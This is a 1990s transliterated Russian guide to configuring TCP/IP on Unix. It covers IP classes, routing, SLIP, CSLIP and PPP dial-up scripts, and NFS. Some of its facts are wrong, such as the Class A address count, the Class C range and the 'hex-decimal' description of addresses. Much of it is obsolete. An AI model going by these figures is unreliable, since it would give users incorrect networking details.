UNIX'e. V zagolovke TCP/IP paketa ukazyvaetsya:
IP-adres otpravitelya
IP-adres poluchatelya
Nomer porta (Fakticheski - nomer prikladnoj programmy,
kotoroj etot paket prednaznachen)
TCP/IP-ishnye pakety imeyut interesnuyu osobennost': oni sposobny
"dobrat'sya" do adresata, projdya skvoz' raznorodnye lokal'nye
seti, ispol'zuya raznoobraznye fizicheskie nositeli. "Marshrutiza-
ciyu" IP-paketa (perebrosku ego v trebuemuyu set') osushchestvlyayut
"na dobrovol'nyh nachalah" komp'yutery, vhodyashchie v TCP/IP set'.
&dDVsemirnaya set' Internet&d@.
Vse kompyutery mira, podderzhivayushchie protokol TCP/IP i kakim-libo
obrazom podklyuchennye drug k drugu, obrazuyut global'nuyu
vsemirnuyu set' TCP/IP "Internet". Tempy rosta "Internet":
100000 IP-adresov v mesyac. V nastoyashchij moment (konec 1994 goda)
k Internet'u podklyucheno okolo:
20,000 setej
4,000,000 komp'yuterov
35,000,000 pol'zovatelej
&dD1. IP-adres&d@.
Kazhdaya mashina v mire imeet svoj unikal'nyj IP-adres.
IP-adres - 32-bitnoe chislo, kotoroe prinyato zapisyvat' v sme-
shannom 16-richno-desyatichnom formate, v vide 4 chisel, razdelennyh
tochkami. Naprimer:
193.124.148.73
128.8.2.1
Kazhdoe desyatichnoe chislo zdes' predstavlyaet na samom dele dva
shestnadcaterichnyh razryada. Mozhet prinimat' znacheniya ot 0 do
255. Dopustima takzhe shestnadcaterichnaya zapis':
c1.7c.94.49 ili 0xC17C9449
80.08.02.01 ili 0x80080201
V usloviyah korrektno skonfigurennoj lokal'noj seti, i pri uslo-
vii podklyucheniya ee k vsemirnoj seti Internet, protokol TCP/IP
pozvolyaet vashej setevoj programme rabotat' s LYUBYM komp'yuterom
v mire, kak esli by on nahodilsya v vashej lokal'noj seti.
Unikal'nost' IP-adresov podderzhivaetsya prosto. Oni vydayutsya
centralizovanno. Kontora, kotoraya etim zanimaetsya, nazyvaetsya
NIC - Network Informational Center. Evropejskoe otdelenie NIC
raspolozheno v Amsterdame. Ona VYDAET IP-adresa. V adres NIC
nuzhno poslat' formu-zapros ustanovlennogo obrazca, i cherez ne-
kotoroe vremya vam prishlyut "pachku" IP-adresov, vydelennyh dlya
vashej seti. E-mail adres, po kotoromu nuzhno poslat' zapros:
hostmaster@sri-nic.net
Moskovskij uzel, razdayushchij IP-adresa, a tak zhe domeny *.ru
dostupen po adresu
RosNIIROS xSU/RU NetworkInformationalCenter
ncc@ripn.net ili ncc@ussr.eu.net
www.ripn.net/nic/ripn-docs/
&dDIP-set', podset'.&d@
IP-set' - "pachka" iz 2**n IP-adresov, IDUSHCHIH PODRYAD. Samyj
mladshij - rezerviruetsya. |tot adres nazyvaetsya adresom IP-seti.
Naprimer 128.8.0.0, ili 193.125.149.64 . Adres seti ispol'zuet-
sya, kogda trebuetsya ukazat' vsyu set' celikom, naprimer, kogda
zadaetsya marshrutizaciya do etoj seti.
Maska seti - fakticheski razmer seti, zadaet chislo adresov v se-
ti. Zadaetsya libo kolichestvom bitov v maske seti (naprimer 8bit
- 256 adresov, 6 bit - 64 adresa), libo bitovoj maskoj vida
b'111...11100...00'
chislo^^ ^^ bitov
kotoruyu tozhe prinyato zapisyvat' v desyatichno-pobajtnoj zapisi,
naprimer:
255.255.255.192 - maska na 64 adresa
255.255.255.0 - maska na 256 adresov
255.255.0.0 - maska na 64Kb adresov
Broadcast adres seti - samyj starshij adres v seti. Rezervi-
ruetsya dlya peredachi soobshchenij tipa "vse-vsem-vsem" (v seti).
128.8.255.255
Seti delyatsya na klassy:
Klass A. "Ogromnye" seti.
Adresa etih setej lezhat v promezhutke: 1 - 126.
Maska seti: 255.0.0.0
Soderzhit do 16387064 adresov (256*256*256).
Adresa hostov v etih setyah vida: 125.*.*.*
Klass B. "Srednie" seti.
Adresa etih setej lezhat v promezhutke: 128.0 - 191.255
Maska seti: 255.255.0.0
Soderzhit do 64516 adresov (256*256).
Adresa hostov v etih setyah vida: 136.12.*.*
Klass C. "Malen'kie" seti.
Adresa setej lezhat v intervale: 192.0.0 - 255.254.255
Maska seti: 255.255.255.0
Soderzhit 254 adresa.
Adresa hostov v etih setyah vida: 195.136.12.*
Klass D. "Multicast-seti" (gruppovaya adresaciya) (v stadii razrabotki)
Adresa setej lezhat v intervale: 224-239
Klass E. "|ksperimental'nye" 240-250
Adresa 0, 127, 255 - special'nye i dlya obychnyh IP ne ispol'zuetsya
&dD2.1. Private Address Space&d@
Esli vasha set' budet ispol'zovat'sya tol'ko vnutri
organizacii, i mashiny ne budut imet' neposredstvennogo vyhoda v
internet, to adresa dlya nee mozhno brat' "s potolka".
V dokumente RFC 1597 "Address Allocation for Private Internets"
March 1994:
The Internet Assigned Numbers Authority (IANA) zarezerviroval
tri bloka IP adresov dlya ispol'zovaniya vo vnutrennih setyah:
10.0.0.0 - 10.255.255.255 Klass A
172.16.0.0 - 172.31.255.255 Klass B
192.168.0.0 - 192.168.255.255 Klass C
Routery bol'shinstva ISP eti adresa ne marshrutiziruyut, chto
dobavlyaet im(adresam) bezopasnosti.
&dD2. Ob®yavlyaem IP-adres na nash ethernet'nyj kontroller&d@.
Konfiguraciya seti na UNIX-mashine obychno delaetsya avtomaticheski
pri nachal'noj zagruzke. Vkratce ee mozhno opisat' tak:
Opredelenie treh odnotipnyh kart v Linux (1*ISA, 2*PnP):
/etc/conf.modules
alias eth0 ne
alias eth1 ne
alias eth2 ne
options ne io=0x220,irq=5
Ob®yavlyaem, chto nash IP-adres 198.8.2.1 i on podnyat na
ethernet'nuyu kartu po imeni elx70 . V sluchae Motorol'y tak na-
zyvaetsya ethernet, torchashchij iz glavnoj sistemnoj platy - platy
s processorom.
ifconfig e1x70 198.8.2.1 up
Ob®yavlyaem, chto nash vtoroj kontroller s imenem m3760 (nizhnyaya
plata) imeet IP-adres 198.8.3.1
ifconfig m3760 198.8.3.1 up
&dD3. Marshrutizaciya lokal'noj seti&d@.
Ob®yavlyaem, chto mashiny s adresami vida 198.8.2.* *=1,...,254 si-
dyat na nashem verhnem lokal'nom segmente ethernet, i razgovari-
vat' s nimi nado napryamuyu, cherez verhnij ethernet, sootvetstvu-
yushchij nashemu adresu 198.8.2.1 - t.e. - elx70. A s mashinami, ime-
yushchimi adresa vida 198.8.3.* - cherez nizhnij ethernet - s adresom
198.8.3.1
route add net 198.8.2.0 198.8.2.1 netmask 255.255.255.0 0
route add net 198.8.3.0 198.8.3.1 netmask 255.255.255.0 0
Setevye pakety dlya IP-adresov, kotorye ne lezhat v nashej lokal'-
noj seti, perepravlyat' na mashinu s setevym adresom 198.8.2.107
- a uzh ona sama budet razbirat'sya, chto s nimi delat', i kak
dostavit' ih do konkretnyh adresatov.
route add default 198.8.2.107 1
Poslednij argument komandy route - metrika. Ee mozhno interpre-
tirovat' kak "rasstoyanie" do "togo" gateway'ya, ili "skol'ko pe-
resadok mezhdu gateway'yami pridetsya sdelat' IP-paketu po doroge
tuda. Poskol'ku IP-adresa 198.8.2.1 i 198.8.3.1 sootvetstvuyut
nashim sobstvennyj platam ethernet, to i metrika (rasstoyanie) do
nih 0. 198.8.2.107 - drugaya mashina - "rasstoyanie do nee" 1.
Smotrim, chto u nas poluchilos'
netstat -rn # raspechatat' tablicu marshrutizacii
ping -s fedfond # "prozvonit'" uzly seti
ping -s fedfond-gate
ping -s 198.8.2.107
netstat -i # statistika o rabote setevyh interfejsov
Nastala pora ob®yasnit', chto takoe lo0 i localhost. |to tak na-
zyvaemyj Loop-back interfejs. On imitiruet setevoj interfejs
lokal'no, ne vyhodya za granicy nashego komp'yutera. Loop-back in-
terfejsu sootvetstvuet zarezervirovannyj za nim IP-adres
127.0.0.1
&dD4.&d@ Konfigurirovanie TCP/IP na Motorole 922.
Pridumajte setevoe imya vashego komp'yutera. Pust' vy reshili, chto
vash komp'yuter dolzhen nazyvat'sya fedfond, i imet' IP-adres
198.8.2.1 . Odnako ne zabyvajte, chto u Motoroly DVA ethern
net-kontrollera, i KAZHDYJ iz nih DOLZHEN imet' svoj UNIKALXNYJ
IP-adres. My reshaem, chto vtoroj nash ethernet budet imet'
IP-adres 198.8.3.1, nu i etomu adresu mozhno naznachit' vpolne
chelovecheskoe imya, naprimer "fedfond-gate".
VNIMANIE: esli vy vnimatel'no rassmotrite soderzhanie fajla
/etc/inet/rc.inet, osobenno stroku vida
/usr/sbin/ifconfig e1x70 `uname -n`-gate $net_mask up
to pojmete, chto vtoroj ethernet dolzhen nazyvat'sya imenno
fedfond-gate , i nikak inache.
Itak, chtoby ustanovit' setevoe imya i IP-adresa nashego host'a
1. komandoj sysadm ustanovite "nodename" . VNIMANIE: imenno
nodename (imya uzla) a ne systemname (imya operacionnoj sistemy)
2. V fajl /etc/hosts vstav'te strochki, privyazyvayushchie IP-adresa
k imeni fedfond i, VNIMANIE!, fedfond-gate
198.8.2.1 fedfond
198.8.3.1 fedfond-gate
3. Perezagruzites'.
&dDKonfigurirovanie 2-go ethernet v Linux&d@
Pervyj-to ethernet konfiguritsya s razdachi - slozhnost' poyavitsya,
kogda my zahotim uvidet' vtoroj. Naprimer mozhno v
/etc/rc.d/rc.local postavit' takie komandy:
# podgruzka dravera s dekovskim chipom 2140
insmod /lib/modules/2.0.18/de4x5.o io=0
# vydelenie IP # staticheskij routing na vtoruyu setku
ifconfig eth1 10.232.172.1
route add -net 10.232.172.0 gw 10.232.172.1 netmask 255.255.255.0
Esli draver 2-go ethernet'a vkompilirovan v yadro, to
aktivizirovat' ego mozhno tak: v fajl /etc/lilo.conf vpisat'
append="ether=0,0,eth0 ether=0,0,eth1" # esli srabotaet autoprobe
# v sluchae yavnogo zadaniya parametrov kart
append="ether=10,0x300,0xe800,eth0 ether=12,0x280,eth1"
Vklyuchit' routing:
echo 1 > /proc/sys/net/ipv4/ip_forward
&dDKak uznat' hardware adres ethernet'noj karty&d@
Esli mashiny normal'no skonfigurirovany dlya TCP/IP, to
dostatochno popingovat' ih yavno ili po broadkastu, zatem arp -a
ping [-s] 123.456.789.255
arp -a
Pochti vsegda mozhno razobrat' mashinu, i posmotret' adres,
napechatannyj na samoj plate.
Linux: Adres pechataetsya pri zagruzke yadra.
Esli karta skonfigurirovana, to adres soobshchaet komanda
ifconfig
Sun: Adres pechataetsya boot-monitorom pri starte
Hardware adres ethernet'a na Sun mozhno proizvol'no menyat'
nahodyas' v boot-monitore, ili komandoj ifconfig
podrobnosti sm. v Sun NVRAM & hostid FAQ
HP-UX: Adres mozhno uznat' komandoj lanscan. Na rabochih stanciyah
adres mozhno uznat' eshche i iz boot-monitora PDC.
&dD5. Prikladnye interfejsy&d@.
CHtoby pisat' programmy, rabotayushchie s set'yu, programmist dolzhen
pol'zovat'sya kakim-libo naborom sistemnyh vyzovov i funkcij. Ot
BSD-Unix'a v zhizn' voshel poluchivshij bol'shuyu populyarnost' API
Berkeley-sockets. AT&T System V porodila TLI (Transport Level
Interface) - postroennyj na tehnologii "potokov" (streams).
SVR4 podderzhivaet i to, i drugoe. Podderzhku soketov
obespechivaet demon inetd (Internet Super Server), podderzhku TLI
obespechivaet demon listen (Network Listener).
&dD6.&d@ Konfiguraciya TLI
Demon listen upravlyaetsya special'noj bazoj dannyh, v kotoruyu
neobhodimo vpisat' IP-adres nashego host'a. Delaetsya eto "odin
raz v zhizni". IP-adres zadaetsya v hitroj shestnadcaterichnoj za-
pisi.
Itak, esli nashi IP-adresa 198.8.2.1 i 198.8.3.1, ih shestnadca-
terichnaya zapis' C6080201, C6080301 , to my dolzhny edinovremenno
vypolnit' tri komandy:
nlsadmin -i tcp
nlsadmin -l '\x00020acec60802010000000000000000' tcp
nlsadmin -l '\x00020acec60803010000000000000000' tcp
"volshebnoe ^^^^^^^^shestnadcat' nulej
slovo 0ace" |
|
syuda vpisyvaetsya nash fakticheskij IP-adres
&dD7.&d@ Konfiguraciya BSD soketov.
Dlya etogo nichego delat' ne nado. Vrochem, v dal'nejshem,
vozmozhno, vam pridetsya etim zanimat'sya. Nastrojki inetd lezhat v
fajlah:
/etc/inetd.conf nazvanie setevogo --> imya obsluzhivayushchej
servisa programmy
/etc/services nomer porta --> nazvanie setevogo servisa
Sostoyanie tekushchih soedinenij mozhno posmotret' komandoj:
netstat (ili netstat -ta - esli u vas Linux)
&dDEshche neskol'ko protokolov&d@
ARP - Address Resolution Protocol
Protokol nizkogo urovnya. Podderzhivaetsya na urovne yadra i/ili
dravera setevoj platy. Dlya opredeleniya, kakoj ethernet'nyj
adres imeet mashina, esli izvesten ee IP-adres. Rabotaet po
principu broadcast: "ej, vse, vse, vse: IP-takoj_to -
otzovis'", i on odin otzyvaetsya.
arp -a # raspechatat' izvestnye nam IP-adresa i ih eth-adresa
RARP - Reverse Address Resolution Protocol.
Dlya opoveshcheniya bezdiskovyh klientov, kakoj u nih IP-adres. Na
servere zapuskaetsya demon rarpd. U nego est' fajl-tablica:
ether-adres -> IP-adres. Po zaprosu-broadcast'u bezdiskovogo
klienta vida: "ej, vse,vse,vse, moj eth-adres takoj-to. Kak
menya zovut?" rarpd soobshchaet emu, kakoj u nego IP (a drugoj de-
mon bootparamd soobshchaet emu dopolnitel'nuyu informaciyu - gde emu
brat' svoyu kornevuyu fajlovuyu sistemu, naprimer).
Dlya obmena informaciej o routinge (marshrutizacii) ispol'zuyutsya
protokoly RIP, BGP, EGP, ICMP.
RIP - Routing Information Protocol
Vnutrennij protokol routinga (vnutri avtonomnoj sistemy). Ego
podderzhivayut demony routed i/ili gated.
BGP - Border Gateway Protocol
EGP - External Gateway Protocol
Routing mezhdu avtonomnymi sistemami. Ih podderzhivaet demon
gated
ICMP - Internet Control Message Protocol
peredaet soobshcheniya ob oshibkah v TCP/IP (naprimer "port
unreachable"), ispol'zuetsya programmami ping, traceroute, mozhet
peredavat' soobshchenie o neracional'nom routinge tipa "redirect":
"voobshche-to mozhno napravlyat' pakety cherez menya, odnako est' i bo-
lee korotkij put'".
Dlya obmena informaciej o simvolicheskih imenah host'ov,
pol'zovatelej, grupah pol'zovatelej i pr. ispol'zuyutsya
protokoly DNS i NIS/YP
DNS - Domain Name System.
Pozvolyaet ispol'zovat' simvolicheskie imena hostov pomimo cifro-
vyh IP-nomerov, i organizovyvat' "derevyannuyu" strukturu naime-
novaniya domenov (tipa pc101.fedfond.msk.su , ftp.sco.com i
t.p.) Server DNS - host, na kotorom zapushchen demon bind, i hra-
nyatsya imena hostov v zone(domene). Na ostal'nyh hostah dlya op-
redeleniya IP-adresa po imeni ispol'zuyutsya bibliotechnye funkcii
biblioteki "resolver" - gethostbyname, gethostbyaddr, kotorye
obrashchayutsya po seti k blizhajshemu serveru DNS, i vyyasnyayut u nego
IP-adres mashiny po ee imeni (domain-name).
NIS/YP - Network Information System (ispol'zuetsya tak zhe
nazvanie, prishedshee ot firmy Sun - Yellow Pages). Pozvolyaet
hranit' na odnom NIS-servere (s demonom ypserv) informaciyu,
edinuyu dlya vsej lokal'noj seti: imena hostov, imena i prava
pol'zovatelej, grupp pol'zovatelej, nazvanie ih domashnih
katalogov, simvolicheskie imena portov i t.d. i t.p.
Eshche raz ob otlichiyah DNS ot NIS/YP: DNS - sistema "global'naya" -
dejstvuet v ramkah vsego Interneta, no soderzhit TOLXKO imena
hostov. NIS/YP - soderzhit pomimo imen hostov neskol'ko drugih
informacionnyh baz, no zato podderzhivaetsya tol'ko v ramkah seti
odnoj organizacii.
&dDKonfigurirovanie TCP/IP na skoruyu ruku&d@
V bol'shinstve unix-ov imeetsya prostaya menyushnaya utilita
pozvolyayushchaya skonfigurirovat' osnovnye parametry komp'yutera: Imya
hosta, IP adres i parametry seti, DNS servera
HP/UX: /etc/set_parms initial
Linux Slackware: net_config
Solaris: /etc/???
.
&dDOrganizaciya TCP/IP po posledovatel'nym liniyam&d@
Protokol TCP/IP ne obyazatel'no trebuet nalichiya ethern
net'noj seti. Vpolne dopustimy i drugie fizicheskie nositeli,
naprimer:
Posledovatel'nye linii s podklyucheniem cherez porty RS-232,
Skorostnye linii s podklyucheniem cherez parallel'nye porty,
ili skorostnye sinhronnye porty (naprimer 485, V.435).
|ti vozmozhnosti obespechivayutsya specializirovannymi realizaciyami
protokola IP:
dlya podklyucheniya cherez RS-232
SLIP - Serial Line IP - samaya pervaya realizaciya TCP/IP "dlya
bednyh", shiroko ispol'zuetsya do sih por.
CSLIP - Compressed SLIP - modifikaciya protokola SLIP.
Szhatiyu podvergayutsya zagolovki IP-paketov. VNIMANIE: no
ne sami dannye! V standartnom IP-pakete IP-zagolovki so
sluzhebnoj informaciej zanimayut poryadka 40 bajt. V
CSLIP'e eti zagolovki uzhimayutsya do 3 bajt. Pri peresyl-
ke bol'shogo chisla melkih paketov poluchaetsya sushchestven-
nyj vyigrysh v skorosti. Esli pakety krupnye, to vyigry-
sha ne budet nikakogo.
PPP - Point-to-Point Protocol
Eshche odna, sovremennaya realizaciya TCP "dlya bednyh". YAv-
lyaetsya standartnym dlya SVR4. Bolee universalen. Pozvo-
lyaet takzhe organizovat' peredachu po posledovatel'noj
linii protokola IPX. Podderzhivaet rezhimy emulyacii slip
i cslip - dlya sovmestimosti.
dlya podklyucheniya cherez Centronix-parallel'nyj port
PLIP - Parallel Line IP - nekotorye skazhut - ekzotika.
Nichut' ne byvalo. Ves'ma rasprostranennaya veshch'. Vot
kogda TCP/IP po SCSI-shine - eto da, eto - ekzotika.
Kstati, RFC 1149 opisyvaet peredachu paketov IP golubinoj
pochtoj.
&dDTCP/IP po sputnikovoj svyazi&d@.
Teoreticheskih trudnostej organizaciya svyazi TCP/IP cherez
sputnikovuyu antennu net - vse vyglyadit takzhe, kak pri modemnoj
svyazi po telefonu. Tehnologiya primerno sleduyushchaya: s antenny
vyhodit vysokochastotnyj signal, signal progonyaetsya skvoz'
sputnikovyj modem, iz modema vyhodit potok dannyh po formatu
High Speed Interface - zavesti v komp'yuter ego mozhno cherez
skorostnoj port, naprimer V.435 (logicheski on vedet sebya
priblizitel'no kak obychnyj posledovatel'nyj port), i so storony
hosta - podnimaetsya protokol PPP. Estestvenno, na "tom konce"
predpolagaetsya ta zhe shema podklyucheniya.
+-------------------+ +-----------------+ (
| protokol port| dannye |port sputnikovyj| signal ( ><
|Host PPP V.435|========|V.435 modem | ~~~~~~ (
| -TCP/IP-> | | | ~~~~~~ /\
+-------------------+ +-----------------+ Antenna
Vmesto Hosta so skorostnym portom, modem mozhno podklyuchit' k
specializirovannomu ustrojstvu - "Routeru", vnutri kotorogo
"zashit" protokol TCP/IP (PPP, Ether), i imeyutsya porty Ethernet,
i High Speed Interface. Dostatochno populyarny dlya takih celej
routery "Cisco router", "NetBlaser".
+-------------------+ +-----------------+ (
| protokol port| dannye |port sputnikovyj| signal ( ><
|Router PPP V.435|========|V.435 modem | ~~~~~~ (
| -TCP/IP-> | | | ~~~~~~ /\
+-------+-----------+ +-----------------+ Antenna
|
... -Ethernet------ ...
&dDSkorost', kotoruyu mozhno poluchit'&d@.
Skorost' glavnym obrazom zavisit ot tipa i kachestva linii svya-
zi, ispol'zuemyh modemov, i tipa porta, v kotoryj etot modem
votknut.
Prakticheskie ogranicheniya na skorost':
Skorost' dannyh mezhdu modemami V32bis/V42 po gorodskomu telefo-
nu, ili mezhdugorodnej linii "Iskra" do 16800 bit/sek. Real'no ~
12000 bit/s. Nalichie vstroennogo protokola V42 szhatiya dannyh
pozvolyaet podnyat' real'nuyu (zamerennuyu uzhe ne mezhdu modemami, a
mezhdu portami) skorost' peredachi neszhatyh dannyh v 2-4 raza,
t.e. do 38400-57600 bit/s
Maksimal'naya skorost' priema/peredachi dannyh na
posledovatel'nom portu RS-232 zavisit ot nalichiya v onom
mikroshem UART (Universal Asyncronous Receiver-Transmitter)
16450 - 19200 bit/s.
16550 - 19200 bit/s. (otsutstvie bukovki "A" - fatal'no)
16550A - 38400 bit/s.
16550A do 115200 bit/s. (Esli operacionnaya sistema "tyanet")
(v chastnosti - Solaris, Unixware - net,
FreeBSD, Netblaser, Cisco router - da)
V itoge real'naya skorost' peresylki dannyh:
Telefon/"Iskra", V32bis/V42 - 19200 bit/s.
Vydelennaya 2-h provodka, V32bis/V42 - 38400 bit/s.
Vydelennaya 4-h provodka, RAID,????? - 115200 bit/s.
Fizicheskaya 4-h provodka<=4km, ????? do 1 Mbit/s.
Optovolokno <=?km, ????? ?? 2 Mbit/s.
Antenna. Sputnikovyj modem. Port V.435. PPP 64, 128, 256 Kbit/s
&dD * Konfigurirovanie SLIP/CSLIP * &d@.
Dlya etogo soedinyaem dva host'a nul'modemnym kabelem cherez
posledovatel'nye porty, i zapuskaem fonom programmu slattach,
perevodyashchuyu porty v rezhim peredachi protokola TCP/IP.
Estestvenno, chto SLIP nado zapuskat' s oboih koncov, prichem
"odinakovyj".
SVR4, slip
slattach /dev/comport NASH-IP-ADRES IH-IP-ADRES 19200 &
# perevodit port /dev/comport v rezhim "slip" na skorosti 19200
# i ustanavlivaet IP-adres na slip-interfejs
SVR4, cslip
slattach -c /dev/comport NASH-IP-ADRES IH-IP-ADRES 38400 &
# perevodit port /dev/comport v rezhim "Compressed-slip"
# na skorosti 38400
# i ustanavlivaet IP-adres na C-slip-interfejs
slattach -e /dev/comport NASH-IP-ADRES IH-IP-ADRES 38400 &
# perevodit port v rezhim slip ili cslip,
# avtomaticheski opredelyaya, kakoj imenno protokol zapushchen
# "na tom konce", i ustanavlivaet so svoej storony takoj zhe
Linux, SLIP.
Teper' SLIP v Linux zaryazhaetsya komandoj DIP, s konfiguracionnym fajlom:
/usr/sbin/dip config-file-name
---------------------------------------------------------------
# pryamoj konnekt nul'modemnym kabelem
main:
get $local 193.232.171.22
get $remote 193.232.171.19
port /dev/modem
speed 9600
mode SLIP
exit
---------------------------------------------------------------
# slip s telefonnoj dozvonkoj
---------------------------------------------------------------
main:
get $local uwalt.hacktic.nl
get $remote xs4all.hacktic.nl
port /dev/modem
speed 38400
send ATQ0V1E1X4\r
wait OK 2
dial p555-1234
login:
sleep 2
wait ogin: 20
send MYLOGIN\n
wait ssword: 20
send MYPASSWD\n
# We are now logged in.
wait SOMETEXT 15
get $mtu 296
# Ensure "route add -net default xs4all.hacktic.nl" will be done
default
mode SLIP
---------------------------------------------------------------
Na oboih koncah imet' simmetrichnye fajly i zapustit' dip'y
Linux, CSLIP.
# sperva perevodim port v rezhim "cslip"
slattach -p cslip /dev/modem &
ifconfig cs0 NASH-IP-ADRES pointopoint IH-IP-ADRES
route add IH-IP-ADRES
route add default gw IH-IP-ADRES
Linux, PLIP.
ifconfig plip1 NASH-IP-ADRES pointopoint IH-IP-ADRES
route add IH-IP-ADRES
route add default gw IH-IP-ADRES
Ustanovka SLIP po telefonnoj linii cherez modem.
Nado zastavit' nash modem sozvonit'sya s "tem" modemom.
Posle etogo my poluchaem prozrachnoe soedinenie mezhdu
posledovatel'nymi portami, po kotoromu i "podnimaem"
SLIP, sm. predydushchie punkty.
( stty 19200 ; echo atdp9120123 ) < /dev/modem > /dev/modem
sleep 55
Vydaem na modem komandu atdp - nabrat' telefonnyj nomer, i zhdem
55 sekund. Nadeyus', modemam hvatit etogo vremeni, chtoby "snyu-
hat'sya".
Vosstanovlenie svyazi v sluchae obryva.
Kak uznat', chto svyaz' porvalas'? Ping'anut' "tot" konec linka.
Prezhde, chem nabirat' modemom nomer dlya novoj dozvonki,
neobhodimo "snyat'" slip s nashego posledovatel'nogo porta
(poskol'ku v rezhime slip on funkcioniruet ne kak
posledovatel'nyj port, a kak kanal peredachi TCP/IP). Kak snyat'
slip? Kil'nut' slattach.
while true # V vechnom cikle
do sleep 60 # Podozhdat' minutku
if ping 107.65.8.254 | grep 'is alive' ;
then echo Ok > /dev/null # Esli IH-IP-ADRES otzyvaetsya
else
# Inache zarubaem slattach
slip_pid=`ps -ef | grep slattach | cut -c1-6`
kill -9 $slip_pid
# nabiraem tamoshnij telefonnyj nomer
(stty 19200; echo atdp9120123) < /dev/modem > /dev/modem
sleep 55
# podnimaem slattach
slattach -e /dev/modem 195.8.2.3 107.65.8.254 19200 &
fi
done
&dD * PPP * &d@
&dDMOTOROLA: PPP&d@
/etc/inet/ppphosts - perechislyaet ppp-hosty
Pravila dozvonki i soedineniya s etimi hostami opisyvayutsya
standartnymi opisaniyami iz UUCP
Ubedit'sya, chto podderzhka ppp prisutstvuet v
konfiguracionnom fajle /etc/strcf
Ubedit'sya, chto pri zagruzke zapuskaetsya komanda slink
Neposredstvennoe ppp-soedinenie aktiviziruetsya pri
obrashchenii ("po trebovaniyu").
Podrobnosti iskat' v
man ppp
man pppd
man ppphosts
&dDLinux&d@
Vse delaetsya komandoj pppd. V komplekt pppd vhodit
komandochka chat, v argumentah zhe pppd zadayutsya IP-adresa,
telefonnye nomera, inicializaciya modema, chat-ovyj dialog s
mashinoj provajdera.
Primer: (Pochti iz zhizni) yavno zadaem nash IP=123.456.789.12
pppd connect 'chat -v ABORT "NO DIALTONE" ABORT BUSY "" ATZ OK \
atdp9386933 Username: ppmoshkow Passwd: mypasswd mode ;' \
crtscts defaultroute modem noipdefault -detach mru 1500 \
123.456.789.12:194.85.105.1 /dev/modem 38400
Primer: vzyat' adresa zadannye serverom
pppd connect 'chat -v ABORT "NO DIALTONE" ABORT BUSY "" ATZ OK \
atdp9386933 Username: ppmoshkow Passwd: mypasswd mode ;' \
crtscts defaultroute modem noipdefault -detach mru 1500 \
0.0.0.0: /dev/modem 38400
&dDWindows 95&d@
Postavit' dopoolnitel'nyj paket iz MS Plus - "Network dialup
script editor"
Podklyuchit' cherez nego skript:
---------------------------------------------------------------
proc main
waitfor "login:" until 5
transmit $USERID, raw
transmit "^M"
waitfor "Password:"
transmit "password^M"
waitfor "modem" until 5
endproc
---------------------------------------------------------------
V zvonil'noj forme vpisat' logname, password ne vpisyvat', ibo
vse ravno on zabyvaetsya pri kazhdom perezapuske.
&dDHP-UX 10.20&d@
Na rabochih stanciyah pod HP-UX/10.20 rodnogo ppp NET. Tol'ko slip.
Mozhno sftpit' free-varnyj paket iij-ppp
http://www.verinet.com/~barthold/ftp/iij-ppp0.94beta2.hpux10.tar.gz
Dokumentaciya po konfiguracii i installyacii prilagaetsya k paketu.
Na serverah i rabochih stanciyah SLIP nazvan "ppl" i vklyuchen v
standartnyj paket "LAN/9000 Link" product.
.
&dDSetevaya fajlovaya sistema NFS&d@
- Network File System.
Standartnoj setevoj fajlovoj sistemoj dlya UNIX'a yavlyaetsya NFS.
Lyubaya Unix-mashina umeet montirovat' po protokolu NFS udalennye
fajlovye sistemy i ispol'zovat' ih kak svoi sobstvennye, a tak
zhe mozhet vydelyat' svoi katalogi dlya drugih mashin. Vyglyadit eto
primerno tak:
mount -F nfs udalennaq.mashina:/katalog_tam /katalog
ili, esli u vas BSD ili Linux
mount -o rsize=8192,wsize=8192 mashina:/katalog_tam /katalog
ls -al /katalog
Hotya NFS byl kogda-to razrabotan dlya Unix'a, imeetsya realizaciya
NFS dlya MSDOS-ovskih PC. |ti pakety prinyato nazyvat' svodnym
imenem PC/NFS (Ne putat' s nazvaniem "PC-NFS" - eto realizaciya
PC/NFS ot firmy "Sun Select"). T.e. PC'yuk, na kotorom zapushchen
NFS dlya PC, mozhet montirovat' v kachestve setevyh diskov
katalogi Unix'ovskoj mashiny, kotorye ona vydelyaet v NFS. -
Fakticheski, PC/NFS daet dlya PC te zhe samye vozmozhnosti, chto i
Netware - udalennyj setevoj disk i udalennyj setevoj printer.
Raznica lish' v tom, chto Unix-host, pomimo pozvoleniya NFS-eniya
sebya, v sostoyanii zanimat'sya i svoimi sobstvennymi zadachami, a
server Netware nichem krome obsluzhivaniya svoih klientov,
izobrazhaya dlya nih disk s ethernet'om, zanimat'sya ne
prisposoblen, no rabotaet bystree raza v 1.5-2. Nu i zanimayut
NFS-nye rezidenty poryadka 100 Kb operativnoj pamyati, v to vremya
kak Netwar'nye - poryadka 50.
&dD2.&d@ Ocenochnye skorosti paketov PC/NFS razlichnyh proizvo-
ditelej: 486dx2/66, adapter wd8013 16 bit:
Paket: chtenie Kb/sek zapis'
NFS for PC
PC-NFS 4.0 220 120
PC-NFS 5.0(**) 220 120
Pathway 350 170
PCTCP 3.0 350 200
TSOFT (*) 200 100
XFS (*) 500 50
Chameleon NFS(**) 2-e mesto po rezul'tatam testov
Unix for PC
Linux/NFS(*) 400 350
FreeBSD/NFS(*) 900 300
Unixware/NFS 400 300
Prochie
Netware 3.11 500 600
NW Lite 400 500
WFW (Samba) 150 150
Lantastic ? ?
(*) - uslovno-besplatnye ili besplatnye pakety
(**) - zashchishchen ot nelicenzirovannogo kopirovaniya
Dlya sravneniya: skorost' chteniya/zapisi NFS mezhdu dvumya
SUN SPARCstation i/ili IBM/RS6000 900/400 Kb/sek
&dD3. Dlya togo, chtoby Unix-mashina sluzhila NFS serverom&d@
Na nej dolzhny byt' zapushcheny sleduyushchie demony:
rpc.portmap - demon portov RPC (Remote Procedure Call)
(poskol'ku NFS ispol'zuet RPC)
(Na Motorole ne trebuetsya.)
mountd - obsluzhivanie komand montirovaniya (on reshaet -
razreshit'/ ne razreshit')
nfsd - neposredstvennoe obsluzhivanie protokola NFS
biod - keshirovanie NFS-chtenij na kliente
(tol'ko v SunOS)
pcnfsd - provodit dopolnitel'nuyu "avtorizaciyu" pol'zo-
vatelej na PC/NFS klientah. Poskol'ku MSDOS
ne zanimaetsya uchetom i registraciej pol'zova-
telya, pcnfsd sam sprashivaet u PC-ishnogo
user'a ego imya i parol'.
(ne obyazatelen, no zhelatelen)
Obychno vse eti demony zapuskayutsya na urovne vypolneniya 3. Pos-
motrite, s bol'shoj veroyatnost'yu vy obnaruzhite na svoej mashine
fajl s nazvaniem napodobie:
/etc/rc3.d/S22nfs - prednaznachen dlya zapuska NFS-servera
